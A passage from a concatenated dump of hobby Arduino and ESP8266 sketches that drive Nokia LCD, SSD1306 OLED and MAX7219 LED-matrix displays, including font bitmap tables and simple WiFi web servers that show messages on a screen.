LcdWrite(byte dc, byte data) 164 | { 165 | digitalWrite(PIN_DC, dc); 166 | digitalWrite(PIN_SCE, LOW); 167 | shiftOut(PIN_SDIN, PIN_SCLK, MSBFIRST, data); 168 | digitalWrite(PIN_SCE, HIGH); 169 | } 170 | 171 | void LcdBitmap(char my_array[]){ 172 | for (int index = 0 ; index < (LCD_X * LCD_Y / 8) ; index++) 173 | LcdWrite(LCD_D, my_array[index]); 174 | } 175 | 176 | void setup(void) 177 | { 178 | LcdInitialise(); 179 | LcdClear(); 180 | gotoXY(0,0); 181 | } 182 | 183 | void loop(void) 184 | { 185 | LcdClear(); 186 | gotoXY(0,0); 187 | LcdString("Films By"); 188 | gotoXY(0,1); 189 | LcdString("Kris"); 190 | gotoXY(0,3); 191 | LcdString("Believe"); 192 | gotoXY(0,4); 193 | LcdString("in Freedom"); 194 | delay(3000); 195 | 196 | LcdClear(); 197 | gotoXY(0,2); 198 | LcdString(" Have a"); 199 | gotoXY(0,3); 200 | LcdString(" Great Day"); 201 | delay(3000); 202 | 203 | } 204 | -------------------------------------------------------------------------------- /ESP8266/Displays/oled_all-in-one/ImageDemo/ImageDemo.ino: -------------------------------------------------------------------------------- 1 | /** 2 | * The MIT License (MIT) 3 | * 4 | * Copyright (c) 2016 by Daniel Eichhorn 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in all 14 | * copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | * SOFTWARE. 23 | * 24 | * Modified by Kris Occhipinti - http://filmsbykris.com 25 | */ 26 | 27 | // Include the correct display library 28 | // For a connection via I2C using Wire include 29 | #include // Only needed for Arduino 1.6.5 and earlier 30 | #include "SSD1306.h" // alias for `#include "SSD1306Wire.h"` 31 | // or #include "SH1106.h" alis for `#include "SH1106Wire.h"` 32 | // For a connection via I2C using brzo_i2c (must be installed) include 33 | // #include // Only needed for Arduino 1.6.5 and earlier 34 | // #include "SSD1306Brzo.h" 35 | // #include "SH1106Brzo.h" 36 | // For a connection via SPI include 37 | // #include // Only needed for Arduino 1.6.5 and earlier 38 | // #include "SSD1306Spi.h" 39 | // #include "SH1106SPi.h" 40 | 41 | // Include custom images 42 | #include "img.h" 43 | 44 | // Initialize the OLED display using SPI 45 | // D5 -> CLK 46 | // D7 -> MOSI (DOUT) 47 | // D0 -> RES 48 | // D2 -> DC 49 | // D8 -> CS 50 | // SSD1306Spi display(D0, D2, D8); 51 | // or 52 | // SH1106Spi display(D0, D2); 53 | 54 | // Initialize the OLED display using brzo_i2c 55 | // D3 -> SDA 56 | // D5 -> SCL 57 | // SSD1306Brzo display(0x3c, D3, D5); 58 | // or 59 | // SH1106Brzo display(0x3c, D3, D5); 60 | 61 | // Initialize the OLED display using Wire library 62 | //SSD1306 display(0x3c, D3, D5); 63 | SSD1306 display(0x3c, 5,4); 64 | // SH1106 display(0x3c, D3, D5); 65 | 66 | 67 | #define DEMO_DURATION 3000 68 | typedef void (*Demo)(void); 69 | 70 | int demoMode = 0; 71 | int counter = 1; 72 | 73 | void setup() { 74 | Serial.begin(115200); 75 | Serial.println(); 76 | Serial.println(); 77 | 78 | 79 | // Initialising the UI will init the display too. 80 | display.init(); 81 | 82 | display.flipScreenVertically(); 83 | 84 | display.setFont(ArialMT_Plain_10); 85 | 86 | } 87 | 88 | void drawFontFaceDemo() { 89 | // Font Demo1 90 | // create more fonts at http://oleddisplay.squix.ch/ 91 | display.setTextAlignment(TEXT_ALIGN_LEFT); 92 | display.setFont(ArialMT_Plain_10); 93 | display.drawString(0, 0, "Hello world"); 94 | display.setFont(ArialMT_Plain_16); 95 | display.drawString(0, 10, "Hello world"); 96 | display.setFont(ArialMT_Plain_24); 97 | display.drawString(0, 26, "Hello world"); 98 | } 99 | 100 | void drawTextFlowDemo() { 101 | display.setFont(ArialMT_Plain_10); 102 | display.setTextAlignment(TEXT_ALIGN_LEFT); 103 | 104 | for(int ypos = 0;ypos > -250;ypos-=10){ 105 | display.clear(); 106 | display.drawStringMaxWidth(0, ypos, 128, 107 | "U-Boot 2009.08 (Nov 15 2009 - 22:03:26)\n \n CPU: Xtensa test_mmuhifi_c3 at 41.6777 MHz\n Board: XT-AV200: Avnet board + Xilinx LX200 FPGA + Tensilica bitstream\n SysRAM: 96 MB\n Flash: 16 MB\n In: serial\n Out: serial\n Err: serial\n MAC: 00:50:C2:13:6f:07\n IP: 192.168.11.105\n open_ethernet\n Autobooting in 5 seconds, press to stop\n" ); 108 | display.display(); 109 | delay(50); 110 | } 111 | } 112 | 113 | void drawTextAlignmentDemo() { 114 | // Text alignment demo 115 | display.setFont(ArialMT_Plain_10); 116 | 117 | // The coordinates define the left starting point of the text 118 | display.setTextAlignment(TEXT_ALIGN_LEFT); 119 | display.drawString(0, 10, "Left aligned (0,10)"); 120 | 121 | // The coordinates define the center of the text 122 | display.setTextAlignment(TEXT_ALIGN_CENTER); 123 | display.drawString(64, 22, "Center aligned (64,22)"); 124 | 125 | // The coordinates define the right end of the text 126 | display.setTextAlignment(TEXT_ALIGN_RIGHT); 127 | display.drawString(128, 33, "Right aligned (128,33)"); 128 | } 129 | 130 | void drawRectDemo() { 131 | // Draw a pixel at given position 132 | for (int i = 0; i < 10; i++) { 133 | display.setPixel(i, i); 134 | display.setPixel(10 - i, i); 135 | } 136 | display.drawRect(12, 12, 20, 20); 137 | 138 | // Fill the rectangle 139 | display.fillRect(14, 14, 17, 17); 140 | 141 | // Draw a line horizontally 142 | display.drawHorizontalLine(0, 40, 20); 143 | 144 | // Draw a line horizontally 145 | display.drawVerticalLine(40, 0, 20); 146 | } 147 | 148 | void drawCircleDemo() { 149 | for (int i=1; i < 8; i++) { 150 | display.setColor(WHITE); 151 | display.drawCircle(32, 32, i*3); 152 | if (i % 2 == 0) { 153 | display.setColor(BLACK); 154 | } 155 | display.fillCircle(96, 32, 32 - i* 3); 156 | } 157 | } 158 | 159 | void drawProgressBarDemo() { 160 | int progress = (counter / 5) % 100; 161 | // draw the progress bar 162 | display.drawProgressBar(0, 32, 120, 10, progress); 163 | 164 | // draw the percentage as String 165 | display.setTextAlignment(TEXT_ALIGN_CENTER); 166 | display.drawString(64, 15, String(progress) + "%"); 167 | } 168 | 169 | void drawImageDemo() { 170 | // see http://blog.squix.org/2015/05/esp8266-nodemcu-how-to-create-xbm.html 171 | // on how to create xbm files 172 | display.drawXbm(0, 0, img_width, img_height, img_bits); 173 | } 174 | 175 | Demo demos[] = {drawImageDemo, drawFontFaceDemo, drawImageDemo,drawTextFlowDemo, drawTextAlignmentDemo, drawRectDemo, drawCircleDemo, drawProgressBarDemo, drawImageDemo}; 176 | int demoLength = (sizeof(demos) / sizeof(Demo)); 177 | long timeSinceLastModeSwitch = 0; 178 | 179 | void loop() { 180 | // clear the display 181 | display.clear(); 182 | // draw the current demo method 183 | demos[demoMode](); 184 | 185 | display.setTextAlignment(TEXT_ALIGN_RIGHT); 186 | display.drawString(10, 128, String(millis())); 187 | // write the buffer to the display 188 | display.display(); 189 | 190 | if (millis() - timeSinceLastModeSwitch > DEMO_DURATION) { 191 | demoMode = (demoMode + 1) % demoLength; 192 | timeSinceLastModeSwitch = millis(); 193 | } 194 | counter++; 195 | delay(10); 196 | } 197 | -------------------------------------------------------------------------------- /Arduino/Displays/LEDDisplay/matrix/matrixScrollingText/matrixScrollingText.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | PROGMEM const unsigned char CH[] = { 6 | 3, 8, B00000000, B00000000, B00000000, B00000000, B00000000, // space 7 | 1, 8, B01011111, B00000000, B00000000, B00000000, B00000000, // ! 8 | 3, 8, B00000011, B00000000, B00000011, B00000000, B00000000, // " 9 | 5, 8, B00010100, B00111110, B00010100, B00111110, B00010100, // # 10 | 4, 8, B00100100, B01101010, B00101011, B00010010, B00000000, // $ 11 | 5, 8, B01100011, B00010011, B00001000, B01100100, B01100011, // % 12 | 5, 8, B00110110, B01001001, B01010110, B00100000, B01010000, // & 13 | 1, 8, B00000011, B00000000, B00000000, B00000000, B00000000, // ' 14 | 3, 8, B00011100, B00100010, B01000001, B00000000, B00000000, // ( 15 | 3, 8, B01000001, B00100010, B00011100, B00000000, B00000000, // ) 16 | 5, 8, B00101000, B00011000, B00001110, B00011000, B00101000, // * 17 | 5, 8, B00001000, B00001000, B00111110, B00001000, B00001000, // + 18 | 2, 8, B10110000, B01110000, B00000000, B00000000, B00000000, // , 19 | 4, 8, B00001000, B00001000, B00001000, B00001000, B00000000, // - 20 | 2, 8, B01100000, B01100000, B00000000, B00000000, B00000000, // . 21 | 4, 8, B01100000, B00011000, B00000110, B00000001, B00000000, // / 22 | 4, 8, B00111110, B01000001, B01000001, B00111110, B00000000, // 0 23 | 3, 8, B01000010, B01111111, B01000000, B00000000, B00000000, // 1 24 | 4, 8, B01100010, B01010001, B01001001, B01000110, B00000000, // 2 25 | 4, 8, B00100010, B01000001, B01001001, B00110110, B00000000, // 3 26 | 4, 8, B00011000, B00010100, B00010010, B01111111, B00000000, // 4 27 | 4, 8, B00100111, B01000101, B01000101, B00111001, B00000000, // 5 28 | 4, 8, B00111110, B01001001, B01001001, B00110000, B00000000, // 6 29 | 4, 8, B01100001, B00010001, B00001001, B00000111, B00000000, // 7 30 | 4, 8, B00110110, B01001001, B01001001, B00110110, B00000000, // 8 31 | 4, 8, B00000110, B01001001, B01001001, B00111110, B00000000, // 9 32 | 2, 8, B01010000, B00000000, B00000000, B00000000, B00000000, // : 33 | 2, 8, B10000000, B01010000, B00000000, B00000000, B00000000, // ; 34 | 3, 8, B00010000, B00101000, B01000100, B00000000, B00000000, // < 35 | 3, 8, B00010100, B00010100, B00010100, B00000000, B00000000, // = 36 | 3, 8, B01000100, B00101000, B00010000, B00000000, B00000000, // > 37 | 4, 8, B00000010, B01011001, B00001001, B00000110, B00000000, // ? 38 | 5, 8, B00111110, B01001001, B01010101, B01011101, B00001110, // @ 39 | 4, 8, B01111110, B00010001, B00010001, B01111110, B00000000, // A 40 | 4, 8, B01111111, B01001001, B01001001, B00110110, B00000000, // B 41 | 4, 8, B00111110, B01000001, B01000001, B00100010, B00000000, // C 42 | 4, 8, B01111111, B01000001, B01000001, B00111110, B00000000, // D 43 | 4, 8, B01111111, B01001001, B01001001, B01000001, B00000000, // E 44 | 4, 8, B01111111, B00001001, B00001001, B00000001, B00000000, // F 45 | 4, 8, B00111110, B01000001, B01001001, B01111010, B00000000, // G 46 | 4, 8, B01111111, B00001000, B00001000, B01111111, B00000000, // H 47 | 3, 8, B01000001, B01111111, B01000001, B00000000, B00000000, // I 48 | 4, 8, B00110000, B01000000, B01000001, B00111111, B00000000, // J 49 | 4, 8, B01111111, B00001000, B00010100, B01100011, B00000000, // K 50 | 4, 8, B01111111, B01000000, B01000000, B01000000, B00000000, // L 51 | 5, 8, B01111111, B00000010, B00001100, B00000010, B01111111, // M 52 | 5, 8, B01111111, B00000100, B00001000, B00010000, B01111111, // N 53 | 4, 8, B00111110, B01000001, B01000001, B00111110, B00000000, // O 54 | 4, 8, B01111111, B00001001, B00001001, B00000110, B00000000, // P 55 | 4, 8, B00111110, B01000001, B01000001, B10111110, B00000000, // Q 56 | 4, 8, B01111111, B00001001, B00001001, B01110110, B00000000, // R 57 | 4, 8, B01000110, B01001001, B01001001, B00110010, B00000000, // S 58 | 5, 8, B00000001, B00000001, B01111111, B00000001, B00000001, // T 59 | 4, 8, B00111111, B01000000, B01000000, B00111111, B00000000, // U 60 | 5, 8, B00001111, B00110000, B01000000, B00110000, B00001111, // V 61 | 5, 8, B00111111, B01000000, B00111000, B01000000, B00111111, // W 62 | 5, 8, B01100011, B00010100, B00001000, B00010100, B01100011, // X 63 | 5, 8, B00000111, B00001000, B01110000, B00001000, B00000111, // Y 64 | 4, 8, B01100001, B01010001, B01001001, B01000111, B00000000, // Z 65 | 2, 8, B01111111, B01000001, B00000000, B00000000, B00000000, // [ 66 | 4, 8, B00000001, B00000110, B00011000, B01100000, B00000000, // \ backslash 67 | 2, 8, B01000001, B01111111, B00000000, B00000000, B00000000, // ] 68 | 3, 8, B00000010, B00000001, B00000010, B00000000, B00000000, // hat 69 | 4, 8, B01000000, B01000000, B01000000, B01000000, B00000000, // _ 70 | 2, 8, B00000001, B00000010, B00000000, B00000000, B00000000, // ` 71 | 4, 8, B00100000, B01010100, B01010100, B01111000, B00000000, // a 72 | 4, 8, B01111111, B01000100, B01000100, B00111000, B00000000, // b 73 | 4, 8, B00111000, B01000100, B01000100, B00101000, B00000000, // c 74 | 4, 8, B00111000, B01000100, B01000100, B01111111, B00000000, // d 75 | 4, 8, B00111000, B01010100, B01010100, B00011000, B00000000, // e 76 | 3, 8, B00000100, B01111110, B00000101, B00000000, B00000000, // f 77 | 4, 8, B10011000, B10100100, B10100100, B01111000, B00000000, // g 78 | 4, 8, B01111111, B00000100, B00000100, B01111000, B00000000, // h 79 | 3, 8, B01000100, B01111101, B01000000, B00000000, B00000000, // i 80 | 4, 8, B01000000, B10000000, B10000100, B01111101, B00000000, // j 81 | 4, 8, B01111111, B00010000, B00101000, B01000100, B00000000, // k 82 | 3, 8, B01000001, B01111111, B01000000, B00000000, B00000000, // l 83 | 5, 8, B01111100, B00000100, B01111100, B00000100, B01111000, // m 84 | 4, 8, B01111100, B00000100, B00000100, B01111000, B00000000, // n 85 | 4, 8, B00111000, B01000100, B01000100, B00111000, B00000000, // o 86 | 4, 8, B11111100, B00100100, B00100100, B00011000, B00000000, // p 87 | 4, 8, B00011000, B00100100, B00100100, B11111100, B00000000, // q 88 | 4, 8, B01111100, B00001000, B00000100, B00000100, B00000000, // r 89 | 4, 8, B01001000, B01010100, B01010100, B00100100, B00000000, // s 90 | 3, 8, B00000100, B00111111, B01000100, B00000000, B00000000, // t 91 | 4, 8, B00111100, B01000000, B01000000, B01111100, B00000000, // u 92 | 5, 8, B00011100, B00100000, B01000000, B00100000, B00011100, // v 93 | 5, 8, B00111100, B01000000, B00111100, B01000000, B00111100, // w 94 | 5, 8, B01000100, B00101000, B00010000, B00101000, B01000100, // x 95 | 4, 8, B10011100, B10100000, B10100000, B01111100, B00000000, // y 96 | 3, 8, B01100100, B01010100, B01001100, B00000000, B00000000, // z 97 | 3, 8, B00001000, B00110110, B01000001, B00000000, B00000000, // { 98 | 1, 8, B01111111, B00000000, B00000000, B00000000, B00000000, // | 99 | 3, 8, B01000001, B00110110, B00001000, B00000000, B00000000, // } 100 | 4, 8, B00001000, B00000100, B00001000, B00000100, B00000000, // ~ 101 | }; 102 | 103 | int data = 12; // DIN pin of MAX7219 module 104 | int load = 10; // CS pin of MAX7219 module 105 | int clock = 11; // CLK pin of MAX7219 module 106 | 107 | int maxInUse = 2; //how many MAX7219 are connected 108 | 109 | MaxMatrix m(data, load, clock, maxInUse); // define Library 110 | 111 | byte buffer[10]; 112 | 113 | String content = ""; 114 | boolean stringComplete = false; 115 | char string1[] = " 1 "; // Scrolling Text 116 | char character; 117 | 118 | void setup(){ 119 | m.init(); // module MAX7219 120 | m.setIntensity(5); // LED Intensity 0-15 121 | Serial.begin(9600); 122 | } 123 | 124 | void loop(){ 125 | 126 | byte c; 127 | delay(100); 128 | m.shiftLeft(false, true); 129 | printStringWithShift(string1, 100); // Send scrolling Text 130 | 131 | if (stringComplete) { 132 | 133 | 134 | } 135 | } 136 | 137 | // Put extracted character on Display 138 | void printCharWithShift(char c, int shift_speed){ 139 | if (c < 32) return; 140 | c -= 32; 141 | memcpy_P(buffer, CH + 7*c, 7); 142 | m.writeSprite(maxInUse*8, 0, buffer); 143 | m.setColumn(maxInUse*8 + buffer[0], 0); 144 | 145 | for (int i=0; i 2 | #include 3 | #include 4 | #include 5 | 6 | const char* ssid = "....."; 7 | const char* password = "....."; 8 | 9 | ESP8266WebServer server(80); 10 | 11 | const int led = 13; 12 | 13 | #define PIN_SCE 2 //D4 14 | #define PIN_RESET 14 //D5 15 | #define PIN_DC 12 //D6 16 | #define PIN_SDIN 13 //D7 17 | #define PIN_SCLK 15 //D8 18 | 19 | #define LCD_C LOW 20 | #define LCD_D HIGH 21 | 22 | #define LCD_X 84 23 | #define LCD_Y 48 24 | 25 | static const byte ASCII[][5] = 26 | { 27 | {0x00, 0x00, 0x00, 0x00, 0x00} // 20 28 | ,{0x00, 0x00, 0x5f, 0x00, 0x00} // 21 ! 29 | ,{0x00, 0x07, 0x00, 0x07, 0x00} // 22 " 30 | ,{0x14, 0x7f, 0x14, 0x7f, 0x14} // 23 # 31 | ,{0x24, 0x2a, 0x7f, 0x2a, 0x12} // 24 $ 32 | ,{0x23, 0x13, 0x08, 0x64, 0x62} // 25 % 33 | ,{0x36, 0x49, 0x55, 0x22, 0x50} // 26 & 34 | ,{0x00, 0x05, 0x03, 0x00, 0x00} // 27 ' 35 | ,{0x00, 0x1c, 0x22, 0x41, 0x00} // 28 ( 36 | ,{0x00, 0x41, 0x22, 0x1c, 0x00} // 29 ) 37 | ,{0x14, 0x08, 0x3e, 0x08, 0x14} // 2a * 38 | ,{0x08, 0x08, 0x3e, 0x08, 0x08} // 2b + 39 | ,{0x00, 0x50, 0x30, 0x00, 0x00} // 2c , 40 | ,{0x08, 0x08, 0x08, 0x08, 0x08} // 2d - 41 | ,{0x00, 0x60, 0x60, 0x00, 0x00} // 2e . 42 | ,{0x20, 0x10, 0x08, 0x04, 0x02} // 2f / 43 | ,{0x3e, 0x51, 0x49, 0x45, 0x3e} // 30 0 44 | ,{0x00, 0x42, 0x7f, 0x40, 0x00} // 31 1 45 | ,{0x42, 0x61, 0x51, 0x49, 0x46} // 32 2 46 | ,{0x21, 0x41, 0x45, 0x4b, 0x31} // 33 3 47 | ,{0x18, 0x14, 0x12, 0x7f, 0x10} // 34 4 48 | ,{0x27, 0x45, 0x45, 0x45, 0x39} // 35 5 49 | ,{0x3c, 0x4a, 0x49, 0x49, 0x30} // 36 6 50 | ,{0x01, 0x71, 0x09, 0x05, 0x03} // 37 7 51 | ,{0x36, 0x49, 0x49, 0x49, 0x36} // 38 8 52 | ,{0x06, 0x49, 0x49, 0x29, 0x1e} // 39 9 53 | ,{0x00, 0x36, 0x36, 0x00, 0x00} // 3a : 54 | ,{0x00, 0x56, 0x36, 0x00, 0x00} // 3b ; 55 | ,{0x08, 0x14, 0x22, 0x41, 0x00} // 3c < 56 | ,{0x14, 0x14, 0x14, 0x14, 0x14} // 3d = 57 | ,{0x00, 0x41, 0x22, 0x14, 0x08} // 3e > 58 | ,{0x02, 0x01, 0x51, 0x09, 0x06} // 3f ? 59 | ,{0x32, 0x49, 0x79, 0x41, 0x3e} // 40 @ 60 | ,{0x7e, 0x11, 0x11, 0x11, 0x7e} // 41 A 61 | ,{0x7f, 0x49, 0x49, 0x49, 0x36} // 42 B 62 | ,{0x3e, 0x41, 0x41, 0x41, 0x22} // 43 C 63 | ,{0x7f, 0x41, 0x41, 0x22, 0x1c} // 44 D 64 | ,{0x7f, 0x49, 0x49, 0x49, 0x41} // 45 E 65 | ,{0x7f, 0x09, 0x09, 0x09, 0x01} // 46 F 66 | ,{0x3e, 0x41, 0x49, 0x49, 0x7a} // 47 G 67 | ,{0x7f, 0x08, 0x08, 0x08, 0x7f} // 48 H 68 | ,{0x00, 0x41, 0x7f, 0x41, 0x00} // 49 I 69 | ,{0x20, 0x40, 0x41, 0x3f, 0x01} // 4a J 70 | ,{0x7f, 0x08, 0x14, 0x22, 0x41} // 4b K 71 | ,{0x7f, 0x40, 0x40, 0x40, 0x40} // 4c L 72 | ,{0x7f, 0x02, 0x0c, 0x02, 0x7f} // 4d M 73 | ,{0x7f, 0x04, 0x08, 0x10, 0x7f} // 4e N 74 | ,{0x3e, 0x41, 0x41, 0x41, 0x3e} // 4f O 75 | ,{0x7f, 0x09, 0x09, 0x09, 0x06} // 50 P 76 | ,{0x3e, 0x41, 0x51, 0x21, 0x5e} // 51 Q 77 | ,{0x7f, 0x09, 0x19, 0x29, 0x46} // 52 R 78 | ,{0x46, 0x49, 0x49, 0x49, 0x31} // 53 S 79 | ,{0x01, 0x01, 0x7f, 0x01, 0x01} // 54 T 80 | ,{0x3f, 0x40, 0x40, 0x40, 0x3f} // 55 U 81 | ,{0x1f, 0x20, 0x40, 0x20, 0x1f} // 56 V 82 | ,{0x3f, 0x40, 0x38, 0x40, 0x3f} // 57 W 83 | ,{0x63, 0x14, 0x08, 0x14, 0x63} // 58 X 84 | ,{0x07, 0x08, 0x70, 0x08, 0x07} // 59 Y 85 | ,{0x61, 0x51, 0x49, 0x45, 0x43} // 5a Z 86 | ,{0x00, 0x7f, 0x41, 0x41, 0x00} // 5b [ 87 | ,{0x02, 0x04, 0x08, 0x10, 0x20} // 5c ¥ 88 | ,{0x00, 0x41, 0x41, 0x7f, 0x00} // 5d ] 89 | ,{0x04, 0x02, 0x01, 0x02, 0x04} // 5e ^ 90 | ,{0x40, 0x40, 0x40, 0x40, 0x40} // 5f _ 91 | ,{0x00, 0x01, 0x02, 0x04, 0x00} // 60 ` 92 | ,{0x20, 0x54, 0x54, 0x54, 0x78} // 61 a 93 | ,{0x7f, 0x48, 0x44, 0x44, 0x38} // 62 b 94 | ,{0x38, 0x44, 0x44, 0x44, 0x20} // 63 c 95 | ,{0x38, 0x44, 0x44, 0x48, 0x7f} // 64 d 96 | ,{0x38, 0x54, 0x54, 0x54, 0x18} // 65 e 97 | ,{0x08, 0x7e, 0x09, 0x01, 0x02} // 66 f 98 | ,{0x0c, 0x52, 0x52, 0x52, 0x3e} // 67 g 99 | ,{0x7f, 0x08, 0x04, 0x04, 0x78} // 68 h 100 | ,{0x00, 0x44, 0x7d, 0x40, 0x00} // 69 i 101 | ,{0x20, 0x40, 0x44, 0x3d, 0x00} // 6a j 102 | ,{0x7f, 0x10, 0x28, 0x44, 0x00} // 6b k 103 | ,{0x00, 0x41, 0x7f, 0x40, 0x00} // 6c l 104 | ,{0x7c, 0x04, 0x18, 0x04, 0x78} // 6d m 105 | ,{0x7c, 0x08, 0x04, 0x04, 0x78} // 6e n 106 | ,{0x38, 0x44, 0x44, 0x44, 0x38} // 6f o 107 | ,{0x7c, 0x14, 0x14, 0x14, 0x08} // 70 p 108 | ,{0x08, 0x14, 0x14, 0x18, 0x7c} // 71 q 109 | ,{0x7c, 0x08, 0x04, 0x04, 0x08} // 72 r 110 | ,{0x48, 0x54, 0x54, 0x54, 0x20} // 73 s 111 | ,{0x04, 0x3f, 0x44, 0x40, 0x20} // 74 t 112 | ,{0x3c, 0x40, 0x40, 0x20, 0x7c} // 75 u 113 | ,{0x1c, 0x20, 0x40, 0x20, 0x1c} // 76 v 114 | ,{0x3c, 0x40, 0x30, 0x40, 0x3c} // 77 w 115 | ,{0x44, 0x28, 0x10, 0x28, 0x44} // 78 x 116 | ,{0x0c, 0x50, 0x50, 0x50, 0x3c} // 79 y 117 | ,{0x44, 0x64, 0x54, 0x4c, 0x44} // 7a z 118 | ,{0x00, 0x08, 0x36, 0x41, 0x00} // 7b { 119 | ,{0x00, 0x00, 0x7f, 0x00, 0x00} // 7c | 120 | ,{0x00, 0x41, 0x36, 0x08, 0x00} // 7d } 121 | ,{0x10, 0x08, 0x08, 0x10, 0x08} // 7e ← 122 | ,{0x78, 0x46, 0x41, 0x46, 0x78} // 7f → 123 | }; 124 | 125 | void handleRoot() { 126 | digitalWrite(led, 1); 127 | LcdClear(); 128 | gotoXY(0,0); 129 | 130 | if (server.args() > 0 ) { 131 | for ( uint8_t i = 0; i < server.args(); i++ ) { 132 | if (server.argName(i) == "msg") { 133 | server.send(200, "text/plain", server.arg(i)); 134 | 135 | char* msg = "test"; 136 | LcdString(msg); 137 | } 138 | } 139 | }else{ 140 | server.send(200, "text/plain", "http://filmsbykris.com"); 141 | LcdString("http://filmsbykris.com"); 142 | } 143 | 144 | digitalWrite(led, 0); 145 | } 146 | 147 | void handleNotFound(){ 148 | digitalWrite(led, 1); 149 | String message = "File Not Found\n\n"; 150 | message += "URI: "; 151 | message += server.uri(); 152 | message += "\nMethod: "; 153 | message += (server.method() == HTTP_GET)?"GET":"POST"; 154 | message += "\nArguments: "; 155 | message += server.args(); 156 | message += "\n"; 157 | for (uint8_t i=0; i 2 | #include 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | const char* ssid = "..."; 10 | const char* password = "..."; 11 | 12 | ESP8266WebServer server(80); 13 | 14 | const int led = 2; 15 | 16 | PROGMEM const unsigned char CH[] = { 17 | 3, 8, B00000000, B00000000, B00000000, B00000000, B00000000, // space 18 | 1, 8, B01011111, B00000000, B00000000, B00000000, B00000000, // ! 19 | 3, 8, B00000011, B00000000, B00000011, B00000000, B00000000, // " 20 | 5, 8, B00010100, B00111110, B00010100, B00111110, B00010100, // # 21 | 4, 8, B00100100, B01101010, B00101011, B00010010, B00000000, // $ 22 | 5, 8, B01100011, B00010011, B00001000, B01100100, B01100011, // % 23 | 5, 8, B00110110, B01001001, B01010110, B00100000, B01010000, // & 24 | 1, 8, B00000011, B00000000, B00000000, B00000000, B00000000, // ' 25 | 3, 8, B00011100, B00100010, B01000001, B00000000, B00000000, // ( 26 | 3, 8, B01000001, B00100010, B00011100, B00000000, B00000000, // ) 27 | 5, 8, B00101000, B00011000, B00001110, B00011000, B00101000, // * 28 | 5, 8, B00001000, B00001000, B00111110, B00001000, B00001000, // + 29 | 2, 8, B10110000, B01110000, B00000000, B00000000, B00000000, // , 30 | 4, 8, B00001000, B00001000, B00001000, B00001000, B00000000, // - 31 | 2, 8, B01100000, B01100000, B00000000, B00000000, B00000000, // . 32 | 4, 8, B01100000, B00011000, B00000110, B00000001, B00000000, // / 33 | 4, 8, B00111110, B01000001, B01000001, B00111110, B00000000, // 0 34 | 3, 8, B01000010, B01111111, B01000000, B00000000, B00000000, // 1 35 | 4, 8, B01100010, B01010001, B01001001, B01000110, B00000000, // 2 36 | 4, 8, B00100010, B01000001, B01001001, B00110110, B00000000, // 3 37 | 4, 8, B00011000, B00010100, B00010010, B01111111, B00000000, // 4 38 | 4, 8, B00100111, B01000101, B01000101, B00111001, B00000000, // 5 39 | 4, 8, B00111110, B01001001, B01001001, B00110000, B00000000, // 6 40 | 4, 8, B01100001, B00010001, B00001001, B00000111, B00000000, // 7 41 | 4, 8, B00110110, B01001001, B01001001, B00110110, B00000000, // 8 42 | 4, 8, B00000110, B01001001, B01001001, B00111110, B00000000, // 9 43 | 2, 8, B01010000, B00000000, B00000000, B00000000, B00000000, // : 44 | 2, 8, B10000000, B01010000, B00000000, B00000000, B00000000, // ; 45 | 3, 8, B00010000, B00101000, B01000100, B00000000, B00000000, // < 46 | 3, 8, B00010100, B00010100, B00010100, B00000000, B00000000, // = 47 | 3, 8, B01000100, B00101000, B00010000, B00000000, B00000000, // > 48 | 4, 8, B00000010, B01011001, B00001001, B00000110, B00000000, // ? 49 | 5, 8, B00111110, B01001001, B01010101, B01011101, B00001110, // @ 50 | 4, 8, B01111110, B00010001, B00010001, B01111110, B00000000, // A 51 | 4, 8, B01111111, B01001001, B01001001, B00110110, B00000000, // B 52 | 4, 8, B00111110, B01000001, B01000001, B00100010, B00000000, // C 53 | 4, 8, B01111111, B01000001, B01000001, B00111110, B00000000, // D 54 | 4, 8, B01111111, B01001001, B01001001, B01000001, B00000000, // E 55 | 4, 8, B01111111, B00001001, B00001001, B00000001, B00000000, // F 56 | 4, 8, B00111110, B01000001, B01001001, B01111010, B00000000, // G 57 | 4, 8, B01111111, B00001000, B00001000, B01111111, B00000000, // H 58 | 3, 8, B01000001, B01111111, B01000001, B00000000, B00000000, // I 59 | 4, 8, B00110000, B01000000, B01000001, B00111111, B00000000, // J 60 | 4, 8, B01111111, B00001000, B00010100, B01100011, B00000000, // K 61 | 4, 8, B01111111, B01000000, B01000000, B01000000, B00000000, // L 62 | 5, 8, B01111111, B00000010, B00001100, B00000010, B01111111, // M 63 | 5, 8, B01111111, B00000100, B00001000, B00010000, B01111111, // N 64 | 4, 8, B00111110, B01000001, B01000001, B00111110, B00000000, // O 65 | 4, 8, B01111111, B00001001, B00001001, B00000110, B00000000, // P 66 | 4, 8, B00111110, B01000001, B01000001, B10111110, B00000000, // Q 67 | 4, 8, B01111111, B00001001, B00001001, B01110110, B00000000, // R 68 | 4, 8, B01000110, B01001001, B01001001, B00110010, B00000000, // S 69 | 5, 8, B00000001, B00000001, B01111111, B00000001, B00000001, // T 70 | 4, 8, B00111111, B01000000, B01000000, B00111111, B00000000, // U 71 | 5, 8, B00001111, B00110000, B01000000, B00110000, B00001111, // V 72 | 5, 8, B00111111, B01000000, B00111000, B01000000, B00111111, // W 73 | 5, 8, B01100011, B00010100, B00001000, B00010100, B01100011, // X 74 | 5, 8, B00000111, B00001000, B01110000, B00001000, B00000111, // Y 75 | 4, 8, B01100001, B01010001, B01001001, B01000111, B00000000, // Z 76 | 2, 8, B01111111, B01000001, B00000000, 